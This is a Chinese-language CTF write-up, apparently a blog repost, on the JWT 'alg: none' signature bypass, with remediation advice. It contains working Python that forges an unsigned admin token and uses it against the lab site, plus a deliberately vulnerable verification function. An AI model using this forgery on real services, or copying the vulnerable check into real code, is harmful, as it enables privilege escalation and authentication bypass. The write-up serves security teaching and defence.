AI渗透测试 -- JWT签名算法置空攻击:一个\"none\"绕过所有验证
原创
yushao
yushao
网络安全者
2026年6月17日 09:02
河南
在小说阅读器读本章
去阅读
一、测试概述
| 项目 | 内容 |
|---|---|
| 测试类型 | CTF 靶场漏洞复现 |
| 漏洞类型 | JWT Algorithm Confusion (alg: none) |
| 危害等级 | 高危 |
| 测试时间 | 2025年 |
| 目标环境 | CTF Show 靶场(已授权) |
二、漏洞背景
JWT(JSON Web Token)由三部分组成:
Header.Payload.Signature
其中 Header 中的 alg 字段告诉服务端用什么算法验证签名。RFC 7518 中定义了一个特殊值 none,表示\"无签名算法\"。
漏洞成因: 部分 JWT 库在实现时直接信任客户端传来的 alg 字段,当攻击者将其篡改为 none 后,服务端跳过签名验证,导致任意用户可伪造合法 token。
三、信息收集
访问靶场首页,页面提示:
\"将 alg 字段修改为 none 来绕过签名验证\"
这直接揭示了攻击面。正常登录入口为 /login,GET 请求返回 405,确认为 POST 接口。
四、漏洞复现步骤
Step 1:获取普通用户 JWT
使用普通凭据登录,从 Cookie 中提取 token:
import requests
session = requests.Session()
resp = session.post(
\"https://[REDACTED].challenge.ctf.show/login\",
data={\"username\": \"user\", \"password\": \"user\"},
allow_redirects=True
)
token = session.cookies.get(\"token\")
print(f\"[+] 获取到 Token: {token}\")
输出:
[+] 获取到 Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImFkbWluIjpmYWxzZX0.[SIGNATURE]
Step 2:解码 JWT 结构
import base64
import json
def b64_decode_padding(s):
\"\"\"Base64 URL 解码,自动补 padding\"\"\"
s += \"=\" * ((4 - len(s) % 4) % 4)
return base64.b64decode(s)
token = \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImFkbWluIjpmYWxzZX0.[SIGNATURE]\"
parts = token.split(\".\")
header = json.loads(b64_decode_padding(parts[0]))
payload = json.loads(b64_decode_padding(parts[1]))
print(f\"[*] Header: {json.dumps(header, ensure_ascii=False)}\")
print(f\"[*] Payload: {json.dumps(payload, ensure_ascii=False)}\")
输出:
[*] Header: {\"alg\": \"HS256\", \"typ\": \"JWT\"}
[*] Payload: {\"user\": \"user\", \"admin\": false}
关键发现:admin 字段为 false,服务端以此判断权限。
Step 3:构造 alg:none 伪造 Token
import base64
import json
def b64_encode_nopad(data: bytes) -> str:
\"\"\"Base64 URL 编码,去除 padding\"\"\"
return base64.b64encode(data).decode().rstrip(\"=\")
# 篡改点1:alg 置为 none
forged_header = {\"alg\": \"none\", \"typ\": \"JWT\"}
# 篡改点2:admin 提权为 true
forged_payload = {\"user\": \"user\", \"admin\": True}
header_b64 = b64_encode_nopad(json.dumps(forged_header, separators=(\",\", \":\")).encode())
payload_b64 = b64_encode_nopad(json.dumps(forged_payload, separators=(\",\", \":\")).encode())
# 签名部分留空,服务端不再校验
forged_token = f\"{header_b64}.{payload_b64}.\"
print(f\"[+] 伪造 Token: {forged_token}\")
输出:
[+] 伪造 Token: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoidXNlciIsImFkbWluIjp0cnVlfQ.
Token 结构分析:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0 ← {\"alg\":\"none\",\"typ\":\"JWT\"}
.
eyJ1c2VyIjoidXNlciIsImFkbWluIjp0cnVlfQ ← {\"user\":\"user\",\"admin\":true}
.
← 签名为空
Step 4:携带伪造 Token 访问受保护资源
import requests
forged_token = \"eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoidXNlciIsImFkbWluIjp0cnVlfQ.\"
session = requests.Session()
session.cookies.set(\"token\", forged_token)
resp = session.get(\"https://[REDACTED].challenge.ctf.show/\")
print(resp.text)
响应片段(敏感信息已脱敏):
<title>恭喜获得 FLAG</title>
...
Flag: CTF{jwt_n**e_a**_byp**s_su**ess}
Flag 成功获取。
五、攻击流程图
用户登录 (user/user)
│
▼
获取正常 JWT (alg=HS256, admin=false)
│
▼
解码 Header + Payload
│
▼
篡改: alg=\"none\", admin=true
│
▼
重新编码,签名置空
│
▼
携带伪造 Token 请求 /
│
▼
服务端: alg=none → 跳过签名验证
│
▼
权限校验: admin=true → 返回 FLAG ✓
六、漏洞根因分析
存在漏洞的服务端伪代码:
# ❌ 危险实现:信任 token 自带的算法字段
def verify_token(token):
header = decode_header(token)
alg = header.get(\"alg\") # 攻击者可控!
if alg == \"none\":
return decode_payload(token) # 直接跳过验证
else:
return jwt.decode(token, SECRET_KEY, algorithms=[alg])
七、修复建议
方案一:硬编码允许的算法列表(推荐)
# ✅ 安全实现:服务端强制指定算法,不信任客户端
import jwt
def verify_token(token):
try:
payload = jwt.decode(
token,
SECRET_KEY,
algorithms=[\"HS256\"] # 白名单,明确排除 none
)
return payload
except jwt.InvalidTokenError:
return None
方案二:使用非对称算法(RS256/ES256)
# 私钥签发(服务端保管)
token = jwt.encode(payload, PRIVATE_KEY, algorithm=\"RS256\")
# 公钥验证(可公开),攻击者无法伪造签名
jwt.decode(token, PUBLIC_KEY, algorithms=[\"RS256\"])
方案三:升级 JWT 库版本
主流库(如 PyJWT >= 2.0)已默认拒绝 alg: none,确保依赖为最新版:
pip install \"PyJWT>=2.0.0\"
八、总结
| 步骤 | 操作 |
|---|---|
| 1 | 用普通账号登录,获取含 admin:false 的 JWT |
| 2 | Base64 解码,分析 token 结构 |
| 3 | 将 alg 改为 none,admin 改为 true |
| 4 | 签名段置空,重新拼接 token |
| 5 | 服务端跳过验证,以管理员身份响应 |
核心教训: JWT 的 alg 字段是用户可控的输入,永远不能被服务端盲目信任。签名算法应由服务端在验证时硬编码指定,而非从 token 本身读取。
本报告仅用于 CTF 学习与安全研究,所有测试均在授权靶场环境中进行。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









![[智能体攻防实战]二.CodeBuddy赋能恶意代码分析与家族分类实践"](/images/random/titlepic/14.jpg)

评论